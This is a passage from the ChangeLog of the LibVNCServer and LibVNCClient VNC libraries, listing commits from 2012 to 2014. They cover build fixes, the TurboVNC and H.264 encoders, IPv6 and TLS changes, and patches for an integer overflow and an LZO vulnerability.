libvncclient.pc.in, libvncserver.pc.in: Use Libs.private to avoid 511 unnecessary linkage 512 513 2014-08-16 Johannes Schindelin <johannes.schindelin (a] gmx.de> 514 515 * libvncclient/rfbproto.c, libvncclient/vncviewer.c: Fix indentation Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 516 517 2014-08-16 dscho <johannes.schindelin (a] gmx.de> 518 519 * : Merge pull request #20 from newsoft/master Fix integer overflow in MallocFrameBuffer() 520 521 2014-08-15 newsoft <newsoft (a] MacBook-Air-de-newsoft-2.local> 522 523 * libvncclient/vncviewer.c: Fix integer overflow in 524 MallocFrameBuffer() Promote integers to uint64_t to avoid integer overflow issue during 525 frame buffer allocation for very large screen sizes 526 527 2013-09-28 Amandeep Singh <aman.dedman (a] gmail.com> 528 529 * libvncserver/sockets.c: allow rfbInitSockets with non-ready 530 states. This allows for reinitializations of e. g. sockets in a SHUTDOWN 531 state. The only state that doesn't make sense to reinitialize are 532 READY states. 533 534 2013-10-09 Amandeep Singh <aman.dedman (a] gmail.com> 535 536 * libvncserver/main.c: Fix crash in krfb Krfb crashes on quit, if any client is connected due to a 537 rfbClientConnectionGone call missing 538 539 2014-07-10 Will Thompson <will (a] willthompson.co.uk> 540 541 * x11vnc/xrandr.c: x11vnc: fix double X_UNLOCK on xrandr events check_xrandr_event() assumes X_LOCK is taken before it is called, 542 and currently calls X_UNLOCK on behalf of the caller. But in 543 practice, all callers assume that the lock is still held after 544 check_xrandr_event() returns. In particular, this leads to a 545 double-unlock and crash in check_xevents() on any xrandr event. 546 547 2014-07-18 dscho <johannes.schindelin (a] gmx.de> 548 549 * : Merge pull request #13 from 550 wjt/fix-double-X_UNLOCK-on-xrandr-event x11vnc: fix double X_UNLOCK on xrandr events 551 552 2014-06-27 Johannes Schindelin <johannes.schindelin (a] gmx.de> 553 554 * common/lzoconf.h, common/lzodefs.h, common/minilzo.c, 555 common/minilzo.h: Update LZO to version 2.07 It was reported that LZO has security issues in LMS-2014-06-16-1: 556 Oberhumer LZO (CVE-2014-4607): 557 http://seclists.org/oss-sec/2014/q2/665 This was also reported by Alex Xu as 558 https://github.com/LibVNC/libvncserver/issues/9. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 559 560 2014-06-23 dscho <johannes.schindelin (a] gmx.de> 561 562 * : Merge pull request #7 from waldheinz/init-sfae-padding Initialize padding in SetFormatAndEncodings' rfbSetPixelFormatMsg. 563 564 2014-06-23 Matthias Treydte <mt (a] waldheinz.de> 565 566 * libvncclient/rfbproto.c: Initialize padding in 567 SetFormatAndEncodings' rfbSetPixelFormatMsg. 568 569 2014-06-23 Matthias Treydte <mt (a] waldheinz.de> 570 571 * CMakeLists.txt: Use CMAKE_CURRENT_*_DIR instead of CMAKE_*_DIR. This makes the library friendly to use as a git submodule within 572 another project, and should change nothing when compiled alone. For example when having a directory structure like 573 "my_project/external/libvnc", where in libvnc resides a checkout of 574 libvncserver, one can just reference that directory from the 575 CMakeLists.txt in my_project with > add_directory ( external/libvnc ) and add vncclient / vncserver in my_project's taret_link_libraries, 576 one can just hack away without having to manually make / install 577 LibVNCServer whenever something is changed there. 578 579 2014-05-14 dscho <johannes.schindelin (a] gmx.de> 580 581 * : Merge pull request #4 from dextero/master x11vnc: adjust blackout region coordinates to the clipping region 582 583 2014-04-05 Johannes Schindelin <johannes.schindelin (a] gmx.de> 584 585 * libvncclient/rfbproto.c: libvncclient: If we have TLS support, 586 enable VeNCrypt by default Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 587 588 2014-04-05 Johannes Schindelin <johannes.schindelin (a] gmx.de> 589 590 * .gitignore: Ignore the 'mac' example, too Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 591 592 2014-04-05 Johannes Schindelin <johannes.schindelin (a] gmx.de> 593 594 * .gitignore: Ignore the vencrypt document https://www.berrange.com/~dan/vencrypt.txt Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 595 596 2014-04-05 Johannes Schindelin <johannes.schindelin (a] gmx.de> 597 598 * .gitignore: Ignore rfbproto.rst A more up-to-date version of the RFB protocol is maintained by 599 TigerVNC: 600 http://sourceforge.net/p/tigervnc/code/HEAD/tree/rfbproto/rfbproto.rstSigned-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 601 602 2014-03-29 Johannes Schindelin <johannes.schindelin (a] gmx.de> 603 604 * examples/repeater.c: Repeater example: show how to shut down 605 cleanly Since we connected to the client through the repeater, chances are 606 that we want this server shut down once the client disconnected. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 607 608 2014-03-29 Johannes Schindelin <johannes.schindelin (a] gmx.de> 609 610 * .gitignore, examples/Makefile.am, examples/repeater.c: Add an 611 example how to connect to an UltraVNC-style repeater UltraVNC offers an add-on to connect clients and servers via IDs 612 with a so-called repeater (e.g. to bridge firewalled clients and 613 servers): http://www.uvnc.com/products/uvnc-repeater.html This example demonstrates how to use that feature with a 614 LibVNCServer-based server. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 615 616 2014-04-05 Christian Beier <dontmind (a] freeshell.org> 617 618 * configure.ac, webclients/novnc/README.md, 619 webclients/novnc/vnc.html: Update sourceforge links to point to 620 github. 621 622 2014-03-31 Johannes Schindelin <johannes.schindelin (a] gmx.de> 623 624 * libvncserver/rfbregion.c: Fix tyop Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 625 626 2014-03-30 Johannes Schindelin <johannes.schindelin (a] gmx.de> 627 628 * .gitignore: Ignore more generated files While at it, also ignore the documentation of the RFB protocol best 629 downloaded manually from http://www.realvnc.com/docs/rfbproto.pdf Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 630 631 2014-03-30 Robbert Klarenbeek <robbertkl (a] users.sourceforge.net> 632 633 * libvncclient/vncviewer.c: Address #12 ClientData does not get 634 freed rfbClientSetClientData() allocates a new rfbClientData, but never 635 gets cleaned up, which causes memory leaks. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 636 637 2014-03-30 Johannes Schindelin <johannes.schindelin (a] gmx.de> 638 639 * examples/example.c, test/encodingstest.c: After free()ing 640 clientData, set it to NULL We will change rfbClientCleanup() to free the data. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 641 642 2013-02-27 Joel Martin <github (a] martintribe.org> 643 644 * libvncserver/websockets.c: Set opcode correctly for binary frames. 645 646 2013-01-25 Christian Beier <dontmind (a] freeshell.org> 647 648 * rfb/rfbproto.h: Remove unneeded #ifdefs. 649 650 2013-01-25 Christian Beier <dontmind (a] freeshell.org> 651 652 * rfb/rfbclient.h: Fix ABI compatibility issue. 653 654 2013-01-09 David Verbeiren <david.verbeiren (a] intel.com> 655 656 * client_examples/gtkvncviewer.c, configure.ac, 657 libvncclient/Makefile.am, libvncclient/h264.c, 658 libvncclient/rfbproto.c, libvncclient/vncviewer.c, rfb/rfbclient.h, 659 rfb/rfbproto.h: LibVNCClient: Add H.264 encoding for framebuffer 660 updates This patch implements support in LibVNCClient for framebuffer 661 updates encoded as H.264 frames. Hardware accelerated decoding is 662 performed using VA API. This is experimental support to let the community explore the 663 possibilities offered by the potential bandwidth and latency 664 reductions that H.264 encoding allows. This may be particularly 665 useful for use cases such as online gaming, hosted desktops, hosted 666 set top boxes... This patch only provides the client side support and is meant to be 667 used with corresponding server-side support, as provided by an 668 upcoming patch for qemu ui/vnc module (to view the display of a 669 virtual machine executing under QEMU). With this H.264-based encoding, if multiple framebuffer update 670 messages are generated for a single server framebuffer modification, 671 the H.264 frame data is sent only with the first update message. 672 Subsequent update framebuffer messages will contain only the 673 coordinates and size of the additional updated regions. Instructions/Requirements: * The patch should be applied on top of the previous patch I 674 submitted with minor enhancements to the gtkvncviewer application: 675 http://sourceforge.net/mailarchive/message.php?msg_id=30323804 * Currently only works with libva 1.0: use branch "v1.0-branch" for 676 libva and intel-driver. Those can be built as follows: cd libva git checkout v1.0-branch ./autogen.sh make sudo make install cd .. git clone git://anongit.freedesktop.org/vaapi/intel-driver cd intel-driver git checkout v1.0-branch ./autogen.sh make sudo make install Signed-off-by: David Verbeiren <david.verbeiren (a] intel.com> 677 678 2013-01-08 David Verbeiren <david.verbeiren (a] intel.com> 679 680 * client_examples/gtkvncviewer.c: gtkvncviewer enhancements Hide "Connecting" dialog in gtkvncviewer once an update is received. Hide local cusror in gtkvncviewer. 681 682 2012-09-14 Christian Beier <dontmind (a] freeshell.org> 683 684 * AUTHORS: Add Raphael to AUTHORS. 685 686 2012-09-11 Raphael Kubo da Costa <rakuco (a] FreeBSD.org> 687 688 * libvncclient/rfbproto.c: Include strings.h for strncasecmp(3) 689 690 2012-09-11 Raphael Kubo da Costa <rakuco (a] FreeBSD.org> 691 692 * libvncserver/websockets.c: Work around a gcc bug with anonymous 693 structs and unions. GCC < 4.6 failed to parse the declaration of ws_header_t correctly 694 because it did not accept anonymous structs and unions. [1] Work around the bug by adding names to the unions and structs. Ugly, 695 but works. [1] http://gcc.gnu.org/bugzilla/show_bug.cgi?id=4784 696 697 2012-09-11 Raphael Kubo da Costa <rakuco (a] FreeBSD.org> 698 699 * libvncserver/rfbserver.c: Include stdio.h for snprintf(3) 700 701 2012-09-11 Raphael Kubo da Costa <rakuco (a] FreeBSD.org> 702 703 * libvncserver/websockets.c: Add the required headers for read(2) 704 705 2012-09-11 Raphael Kubo da Costa <rakuco (a] FreeBSD.org> 706 707 * CMakeLists.txt, configure.ac, libvncserver/websockets.c, 708 rfb/rfbconfig.h.cmake: Use htobeNN(3) to convert numbers in 709 websocket.c. byteswap.h exists only on glibc, so building libvncserver with 710 websockets support was not possible in other systems. Replace the inclusion of byteswap.h and the WS_* definitions with 711 calls to htobeNN, which should perform the same conversions, be more 712 portable and avoid the need to check for the platform's endianness. 713 714 2012-09-11 Raphael Kubo da Costa <rakuco (a] FreeBSD.org> 715 716 * CMakeLists.txt, configure.ac: Do not hardcode the need for 717 libresolv. libresolv is only present on systems which use glibc; platforms such 718 as FreeBSD have __b64_ntop as part of libc itself. Improve the detection process and only link against libresolv if it 719 exists on the system, and remember to reset CMAKE_REQUIRED_LIBRARIES 720 after performing the necessary tests, since we do not always want to 721 link against libresolv. 722 723 2012-09-11 Raphael Kubo da Costa <rakuco (a] FreeBSD.org> 724 725 * common/vncauth.c, libvncclient/rfbproto.c, 726 libvncclient/sockets.c, libvncserver/httpd.c, 727 libvncserver/rfbserver.c, libvncserver/sockets.c, 728 libvncserver/websockets.c: Tune the definitions needed when building 729 with -ansi. The current definitions were mostly useful to glibc and followed its 730 feature_test_macros(3) documentation. However, this means other platforms still had problems when building 731 with strict compilation flags. _BSD_SOURCE, for example, is only 732 recognized by glibc, and other platforms sometimes need 733 _XOPEN_SOURCE instead, or even the removal of some definitions (such 734 as the outdate _POSIX_SOURCE one). _POSIX_SOURCE also had to be conditionally defined in some places, 735 as what it enables or disables during compilation varies across 736 systems. 737 738 2012-09-11 Raphael Kubo da Costa <rakuco (a] FreeBSD.org> 739 740 * libvncserver/sockets.c, libvncserver/websockets.c: Add some 741 missing feature macro definitions. Building with -ansi failed due to some code (as well as system 742 headers) using non-C89 features. Fix that by adding the usual 743 _POSIX_SOURCE and _BSD_SOURCE definitions already present in some 744 other files. 745 746 2012-09-11 Raphael Kubo da Costa <rakuco (a] FreeBSD.org> 747 748 * common/turbojpeg.c, libvncserver/tight.c, 749 libvncserver/websockets.c, rfb/rfb.h, rfb/rfbconfig.h.cmake, 750 test/bmp.h: Use C-style comments in rfbconfig.h.cmake and C source 751 code. Using C++-style comments when building the code with -ansi does not 752 work, so be more conservative with the comment style. 753 754 2012-09-11 Raphael Kubo da Costa <rakuco (a] FreeBSD.org> 755 756 * libvncserver/websockets.c: Correctly include rfbconfig.h. build_dir/rfb is not passed as an include directory automatically to 757 the compiler, so including that file fails. 758 759 2012-09-11 Raphael Kubo da Costa <rakuco (a] FreeBSD.org> 760 761 * CMakeLists.txt: CMake: Link against libgcrypt when it is found. So far, libgcrypt was looked for but no targets linked against it 762 directly; this caused linking problems for the client and server 763 examples, as the symbols they needed were not passed to the linker. The issue that the GnuTLS websockets code uses libgcrypt regardless 764 of whether it has been found or not has not been touched by this 765 commit, though. 766 767 2012-08-19 Christian Beier <dontmind (a] freeshell.org> 768 769 * webclients/novnc/LICENSE.txt, webclients/novnc/README.md, 770 webclients/novnc/include/base.css, 771 webclients/novnc/include/black.css, 772 webclients/novnc/include/blue.css, 773 webclients/novnc/include/display.js, 774 webclients/novnc/include/input.js, 775 webclients/novnc/include/playback.js, 776 webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js, 777 webclients/novnc/include/util.js, webclients/novnc/include/vnc.js, 778 webclients/novnc/include/web-socket-js/web_socket.js, 779 webclients/novnc/include/websock.js, 780 webclients/novnc/include/webutil.js, webclients/novnc/vnc.html, 781 webclients/novnc/vnc_auto.html: Update noVNC webclient. 782 783 2012-08-19 Christian Beier <dontmind (a] freeshell.org> 784 785 * AUTHORS: Update AUTHORS. 786 787 2012-08-08 Oliver Loch <o.loch (a] gmx.net> 788 789 * libvncserver/sockets.c: Patched sockets.c to allow the use of IPv6 790 without IPv4. As requested only those lines are indented that have been changed. 791 792 2012-07-20 Johannes Schindelin <johannes.schindelin (a] gmx.de> 793 794 * AUTHORS: Add another contributor Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 795 796 2012-07-19 Rostislav Lisovy <lisovy (a] gmail.com> 797 798 * libvncclient/tls_openssl.c: Fix in milliseconds to struct timeval 799 conversion Signed-off-by: Rostislav Lisovy <lisovy (a] gmail.com> Signed-off-by: 800 Johannes Schindelin <johannes.schindelin (a] gmx.de> 801 802 2012-05-31 Christian Beier <dontmind (a] freeshell.org> 803 804 * libvncserver/config.h, libvncserver/rfbconfig.h: Remove 805 autogenerated files from repo. 806 807 2012-05-23 Christian Beier <dontmind (a] freeshell.org> 808 809 * CMakeLists.txt, configure.ac, rfb/rfbconfig.h.cmake: Add Compile 810 Time Version Test Defines. 811 812 2012-05-18 Kyle J. McKay <mackyle (a] gmail.com> 813 814 * libvncserver/sockets.c: libvncserver/sockets.c: do not segfault 815 when listenSock/listen6Sock == -1 816 817 2012-05-09 Christian Beier <dontmind (a] freeshell.org> 818 819 * TODO, libvncclient/rfbproto.c, libvncclient/sockets.c, 820 vncterm/LinuxVNC.c: Fix some compiler warnings that hinted some no 821 too unimportant errors. 822 823 2012-05-07 Christian Beier <dontmind (a] freeshell.org> 824 825 * TODO: Update TODO. 826 827 2012-05-07 Luca Falavigna <dktrkranz (a] debian.org> 828 829 * test/encodingstest.c: Encodingstest: Use format string argument 830 with fprintf. 831 832 2012-05-05 Christian Beier <dontmind (a] freeshell.org> 833 834 * CMakeLists.txt, configure.ac: Bump version to 0.9.10. 835 836 2012-05-04 Christian Beier <dontmind (a] freeshell.org> 837 838 * ChangeLog: Update ChangeLog for 0.9.9. 839 840 2012-05-04 Christian Beier <dontmind (a] freeshell.org> 841 842 * configure.ac: Enable building DLLs with MinGW32. 843 844 2012-05-04 Christian Beier <dontmind (a] freeshell.org> 845 846 * NEWS: Update NEWS for 0.9.9. 847 848 2012-05-03 Christian Beier <dontmind (a] freeshell.org> 849 850 * libvncclient/rfbproto.c: LibVNCClient: #undef these types in case 851 it's WIN32. The various other headers include windows.h and the winsock headers 852 which give an error when SOCKET and socklen_t are already defined. 853 854 2012-05-03 Christian Beier <dontmind (a] freeshell.org> 855 856 * rfb/rfb.h: LibVNCServer: Include ws2tcpip.h if it's available. Needed for the IPv6 stuff. 857 858 2012-04-30 Christian Beier <dontmind (a] freeshell.org> 859 860 * libvncserver/Makefile.am: LibVNCServer: Prefer GnuTLS over OpenSSL 861 to be in sync with LibVNCClient. 862 863 2012-04-30 Christian Beier <dontmind (a] freeshell.org> 864 865 * libvncserver/rfbserver.c: Some more libjpeg, libpng and zlib 866 related build fixes. 867 868 2012-04-30 Christian Beier <dontmind (a] freeshell.org> 869 870 * configure.ac: Make PKG_CHECK_MODULES fail non-fatal. These check for optional modules. 871 872 2012-04-30 Christian Beier <dontmind (a] freeshell.org> 873 874 * libvncserver/rfbserver.c, rfb/rfb.h: Only try to build TightPNG 875 stuff when libjpeg is available. TightPNG replaces the ZLIB stuff int Tight encoding with PNG. It 876 still uses JPEG rects as well. Theoretically, we could build 877 TightPNG with only libpng and libjpeg - without zlib - but libpng 878 depends on zlib, so this is kinda moot. 879 880 2012-04-27 Christian Beier <dontmind (a] freeshell.org> 881 882 * test/Makefile.am: Only build libjpeg test programs if libjpeg is 883 actually available. 884 885 2012-04-26 Christian Beier <dontmind (a] freeshell.org> 886 887 * CMakeLists.txt: Fix CMake build of LibVNCClient. 888 889 2012-04-26 Christian Beier <dontmind (a] freeshell.org> 890 891 * libvncserver/rfbserver.c: Properly check return value. This also fixes a compiler warning. 892 893 2012-04-26 Christian Beier <dontmind (a] freeshell.org> 894 895 * configure.ac: Fix build when no libjpeg is available. 896 897 2012-04-26 Christian Beier <dontmind (a] freeshell.org> 898 899 * examples/android/Makefile.am, libvncserver/Makefile.am: Include 900 some more missing files for make dist. 901 902 2012-04-25 Christian Beier <dontmind (a] freeshell.org> 903 904 * libvncserver/Makefile.am: Include missing files for make dist. 905 906 2012-04-25 Christian Beier <dontmind (a] freeshell.org> 907 908 * libvncclient/Makefile.am: Fix libvncclient make dist. 909 910 2012-04-25 Christian Beier <dontmind (a] freeshell.org> 911 912 * configure.ac: Better check for Linux build. 913 914 2012-04-25 Christian Beier <dontmind (a] freeshell.org> 915 916 * vncterm/Makefile.am: Binaries that are to be installed should be 917 all lowercase. 918 919 2012-04-25 Christian Beier <dontmind (a] freeshell.org> 920 921 * CMakeLists.txt, configure.ac: Bump version to 0.9.9. 922 923 2012-04-25 Christian Beier <dontmind (a] freeshell.org> 924 925 * common/turbojpeg.c, libvncserver/rfbserver.c, 926 libvncserver/websockets.c, test/tjbench.c: Fix some compiler 927 warnings thrown with newer gcc. 928 929 2012-04-25 Christian Beier <dontmind (a] freeshell.org> 930 931 * test/Makefile.am: Fix turbojpeg tests compilation. 932 933 2012-04-25 DRC <information (a] virtualgl.org> 934 935 * common/turbojpeg.c: Fix compilation with some libjpeg 936 distributions. 937 938 2012-04-22 Monkey <chris.boyle.1978 (a] gmail.com> 939 940 * libvncclient/rfbproto.c: Added support for UltraVNC Single Click 941 as originally proposed by Noobius (Boobius) on 6/1/11. Original thread: 942 943 http://sourceforge.net/tracker/?func=detail&aid=3310255&group_id=32584&atid=405860 944 945 2012-04-15 Christian Beier <dontmind (a] freeshell.org> 946 947 * AUTHORS: Add Philip to AUTHORS. 948 949 2012-04-15 Christian Beier <dontmind (a] freeshell.org> 950 951 * libvncclient/tls_none.c: LibVNCClient: Fix build with no SSL/TLS 952 library available. 953 954 2012-04-15 Christian Beier <dontmind (a] freeshell.org> 955 956 * libvncclient/tls_openssl.c: LibVNCClient: properly free the 957 openssl session stuff on shutdown. 958 959 2012-04-15 Christian Beier <dontmind (a] freeshell.org> 960 961 * libvncclient/rfbproto.c, libvncclient/sockets.c, 962 libvncclient/tls_gnutls.c, libvncclient/vncviewer.c, 963 rfb/rfbclient.h: LibVNCClient: Remove all those WITH_CLIENT_TLS 964 #ifdefs and move GnuTLS specific functionality into tls_gnutls.c. 965 966 2012-04-14 Christian Beier <dontmind (a] freeshell.org> 967 968 * configure.ac: Unify GnuTLS vs OpenSSL build systems stuff between 969 libvncclient and libvncserver. 970 971 2012-04-14 Christian Beier <dontmind (a] freeshell.org> 972 973 * libvncclient/Makefile.am, libvncclient/tls.c, 974 libvncclient/tls_gnutls.c, libvncclient/tls_none.c, 975 libvncclient/tls_openssl.c: Add the OpenSSL libvncclient TLS version 976 to the build system. 977 978 2012-04-12 Christian Beier <dontmind (a] freeshell.org> 979 980 * webclients/novnc/LICENSE.txt, webclients/novnc/README.md, 981 webclients/novnc/include/base.css, 982 webclients/novnc/include/base64.js, 983 webclients/novnc/include/display.js, 984 webclients/novnc/include/input.js, 985 webclients/novnc/include/jsunzip.js, 986 webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js, 987 webclients/novnc/include/util.js, webclients/novnc/include/vnc.js, 988 webclients/novnc/include/websock.js, 989 webclients/novnc/include/webutil.js, webclients/novnc/vnc.html, 990 webclients/novnc/vnc_auto.html: Update our copy of noVNC. Bugfixes and support for tight encoding with zlib. 991 992 2012-04-12 Christian Beier <dontmind (a] freeshell.org> 993 994 * libvncserver/tight.c: Make TurboVNC compress level 3 actually 995 work. 996 997 2012-04-09 DRC <information (a] virtualgl.org> 998 999 * common/turbojpeg.c: Fix memory leak in TurboVNC Note that the memory leak was only occurring with the colorspace 1000 emulation code, which is only active when using regular libjpeg (not 1001 libjpeg-turbo.) Diagnosed by Christian Beier, using valgrind. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 1002 1003 2012-04-02 Christian Beier <dontmind (a] freeshell.org> 1004 1005 * libvncclient/listen.c, libvncclient/sockets.c, 1006 libvncserver/httpd.c, libvncserver/sockets.c: IPv6 support for 1007 LibVNCServer, part four: add copyright notices to files with 1008 non-trivial changes. 1009 1010 2012-03-29 Johannes Schindelin <johannes.schindelin (a] gmx.de> 1011 1012 * client_examples/SDLvncviewer.c: SDLvncviewer: map Apple/Windows 1013 keys correctly Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 1014 1015 2012-03-29 Johannes Schindelin <johannes.schindelin (a] gmx.de> 1016 1017 * .gitignore: gitignore the compiled gtkvncclient Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 1018 1019 2012-03-29 Johannes Schindelin <johannes.schindelin (a] gmx.de> 1020 1021 * client_examples/SDLvncviewer.c: SDLvncviewer: fix the SDL_KEYUP 1022 issue Keys got stuck because unicode is 0 upon SDL_KEYUP events, even if 1023 the same key event sets unicode correctly in SDL_KEYDOWN events. Work around that for the common case (ASCII) using the fact that 1024 both SDL and X11 keysyms were created with ASCII compatibility in 1025 mind. So as long as we type ASCII symbols, we can map things 1026 trivially. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 1027 1028 2012-03-23 DRC <information (a] virtualgl.org> 1029 1030 * CMakeLists.txt: Extend support for the new TurboVNC encoder to the 1031 CMake build system 1032 1033 2012-03-25 DRC <information (a] virtualgl.org> 1034 1035 * common/turbojpeg.c, common/turbojpeg.h, configure.ac, 1036 libvncserver/Makefile.am, libvncserver/rfbserver.c, 1037 libvncserver/tight.c, libvncserver/turbo.c, rfb/rfb.h, 1038 rfb/rfbproto.h, test/Makefile.am, test/bmp.c, test/bmp.h, 1039 test/tjbench.c, test/tjunittest.c, test/tjutil.c, test/tjutil.h: 1040 Replace TightVNC encoder with TurboVNC encoder. This patch is the 1041 result of further research and discussion that revealed the 1042 following: -- TightPng encoding and the rfbTightNoZlib extension need not 1043 conflict. Since TightPng is a separate encoding type, not supported 1044 by TurboVNC-compatible viewers, then the rfbTightNoZlib extension 1045 can be used solely whenever the encoding type is Tight and disabled 1046 with the encoding type is TightPng. -- In the TightVNC encoder, compression levels above 5 are basically 1047 useless. On the set of 20 low-level datasets that were used to 1048 design the TurboVNC encoder (these include the eight 2D application 1049 captures that were also used when designing the TightVNC encoder, as 1050 well as 12 3D application captures provided by the VirtualGL 1051 Project-- see 1052 http://www.virtualgl.org/pmwiki/uploads/About/tighttoturbo.pdf), 1053 moving from Compression Level (CL) 5 to CL 9 in the TightVNC 1054 encoder did not increase the compression ratio of any datasets more 1055 than 10%, and the compression ratio only increased by more than 5% 1056 on four of them. The compression ratio actually decreased a few 1057 percent on five of them. In exchange for this paltry increase in 1058 compression ratio, the CPU usage, on average, went up by a factor of 1059 5. Thus, for all intents and purposes, TightVNC CL 5 provides the 1060 "best useful compression" for that encoder. -- TurboVNC's best compression level (CL 2) compresses 3D and video 1061 workloads significantly more "tightly" than TightVNC CL 5 (~70% 1062 better, in the aggregate) but does not quite achieve the same level 1063 of compression with 2D workloads (~20% worse, in the aggregate.) 1064 This decrease in compression ratio may or may not be noticeable, 1065 since many of the datasets it affects are not performance-critical 1066 (such as the console output of a compilation, etc.) However, for 1067 peace of mind, it was still desirable to have a mode that compressed 1068 with equal "tightness" to TightVNC CL 5, since we proposed to 1069 replace that encoder entirely. -- A new mode was discovered in the TurboVNC encoder that produces, 1070 in the aggregate, similar compression ratios on 2D datasets as 1071 TightVNC CL 5. That new mode involves using Zlib level 7 (the same 1072 level used by TightVNC CL 5) but setting the "palette threshold" to 1073 256, so that indexed color encoding is used whenever possible. This 1074 mode reduces bandwidth only marginally (typically 10-20%) relative 1075 to TurboVNC CL 2 on low-color workloads, in exchange for nearly 1076 doubling CPU usage, and it does not benefit high-color workloads at 1077 all (since those are usually encoded with JPEG.) However, it 1078 provides a means of reproducing the same "tightness" as the TightVNC encoder on 2D workloads without sacrificing any compression for 1079 3D/video workloads, and without using any more CPU time than 1080 necessary. -- The TurboVNC encoder still performs as well or better than the 1081 TightVNC encoder when plain libjpeg is used instead of 1082 libjpeg-turbo. Specific notes follow: common/turbojpeg.c common/turbojpeg.h: Added code to emulate the 1083 libjpeg-turbo colorspace extensions, so that the TurboJPEG wrapper 1084 can be used with plain libjpeg as well. This required updating the 1085 TurboJPEG wrapper to the latest code from libjpeg-turbo 1.2.0, 1086 mainly because the TurboJPEG 1.2 API handles pixel formats in a much 1087 cleaner way, which made the conversion code easier to write. It 1088 also eases the maintenance to have the wrapper synced as much as 1089 possible with the upstream code base (so I can merge any relevant 1090 bug fixes that are discovered upstream.) The libvncserver version of 1091 the TurboJPEG wrapper is a "lite" version, containing only the JPEG 1092 compression/decompression code and not the lossless transform, YUV 1093 encoding/decoding, and dynamic buffer allocation features from 1094 TurboJPEG 1.2. configure.ac: Removed the --with-turbovnc option. configure still 1095 checks for the presence of libjpeg-turbo, but only for the purposes 1096 of printing a performance warning if it isn't available. rfb/rfb.h: Fix a bug introduced with the initial TurboVNC encoder 1097 patch. We cannot use tightQualityLevel for the TurboVNC 1-100 1098 quality level, because tightQualityLevel is also used by ZRLE. 1099 Thus, a new parameter (turboQualityLevel) was created. rfb/rfbproto.h: Remove TurboVNC-specific #ifdefs and language libvncserver/rfbserver.c: Remove TurboVNC-specific #ifdefs. Fix 1100 afore-mentioned tightQualityLevel bug. libvncserver/tight.c: Replaced the TightVNC encoder with the 1101 TurboVNC encoder. Relative to the initial TurboVNC encoder patch, 1102 this patch also: -- Adds TightPng support to the TurboVNC encoder -- 1103 Adds the afore-mentioned low-bandwidth mode, which is mapped 1104 externally to Compression Level 9 test/*: Included TJUnitTest (a regression test for the TurboJPEG 1105 wrapper) as well as TJBench (a benchmark for same.) These are 1106 useful for ensuring that the wrapper still functions correctly and 1107 performantly if it needs to be modified for whatever reason. Both 1108 of these programs are derived from libjpeg-turbo 1.2.0. As with the 1109 TurboJPEG wrapper, they do not contain the more advanced features of 1110 TurboJPEG 1.2, such as YUV encoding/decoding and lossless 1111 transforms. 1112 1113 2012-03-15 Christian Beier <dontmind (a] freeshell.org> 1114 1115 * AUTHORS: Add DRC to AUTHORS. 1116 1117 2012-03-15 Christian Beier <dontmind (a] freeshell.org> 1118 1119 * rfb/rfb.h: Move tightsubsamplevel member to the end of rfbClient 1120 struct. Try to not break ABI between releases. Even if the code gets ugly... 1121 1122 2012-03-10 DRC <information (a] virtualgl.org> 1123 1124 * x11vnc/Makefile.am: Fix the build of x11vnc when an out-of-tree 1125 build directory is used 1126 1127 2012-03-10 DRC <information (a] virtualgl.org> 1128 1129 * libvncserver/rfbserver.c: Fix an issue that affects the existing 1130 Tight encoder as well as the newly-implemented Turbo encoder. The issue is that, when using the current libvncserver source, it is 1131 impossible to disable Tight JPEG encoding. The way Tight/Turbo 1132 viewers disable JPEG encoding is by simply not sending the Tight 1133 quality value, causing the server to use the default value of -1. 1134 Thus, cl->tightQualityLevel has to be set to -1 prior to processing 1135 the encodings message for this mechanism to work. Similarly, it is 1136 not guaranteed that the compress level will be set in the encodings 1137 message, so it is set to a default value prior to processing the 1138 message. 1139 1140 2012-03-10 DRC <information (a] virtualgl.org> 1141 1142 * common/turbojpeg.c, common/turbojpeg.h, configure.ac, 1143 libvncserver/Makefile.am, libvncserver/rfbserver.c, 1144 libvncserver/turbo.c, rfb/rfb.h, rfb/rfbproto.h: Add TurboVNC 1145 encoding support. TurboVNC is a variant of TightVNC that uses the same client/server 1146 protocol (RFB version 3.8t), and thus it is fully cross-compatible 1147 with TightVNC and TigerVNC (with one exception, which is noted 1148 below.) Both the TightVNC and TurboVNC encoders analyze each 1149 rectangle, pick out regions of solid color to send separately, and 1150 send the remaining subrectangles using mono, indexed color, JPEG, or 1151 raw encoding, depending on the number of colors in the subrectangle. 1152 However, TurboVNC uses a fundamentally different selection algorithm 1153 to determine the appropriate subencoding to use for each 1154 subrectangle. Thus, while it sends a protocol stream that can be 1155 decoded by any TightVNC-compatible viewer, the mix of subencoding 1156 types in this protocol stream will be different from those generated 1157 by a TightVNC server. The research that led to TurboVNC is described in the following 1158 report: 1159 http://www.virtualgl.org/pmwiki/uploads/About/tighttoturbo.pdf. In 1160 summary: 20 RFB captures, representing "common" 2D and 3D 1161 application workloads (the 3D workloads were run using VirtualGL), 1162 were studied using the TightVNC encoder in isolation. Some of the 1163 analysis features in the TightVNC encoder, such as smoothness 1164 detection, were found to generate a lot of CPU usage with little or 1165 no benefit in compression, so those features were disabled. JPEG 1166 encoding was accelerated using libjpeg-turbo (which achieves a 2-4x 1167 speedup over plain libjpeg on modern x86 or ARM processors.) 1168 Finally, the "palette threshold" (minimum number of colors that the 1169 subrectangle must have before it is compressed using JPEG or raw) 1170 was adjusted to account for the fact that 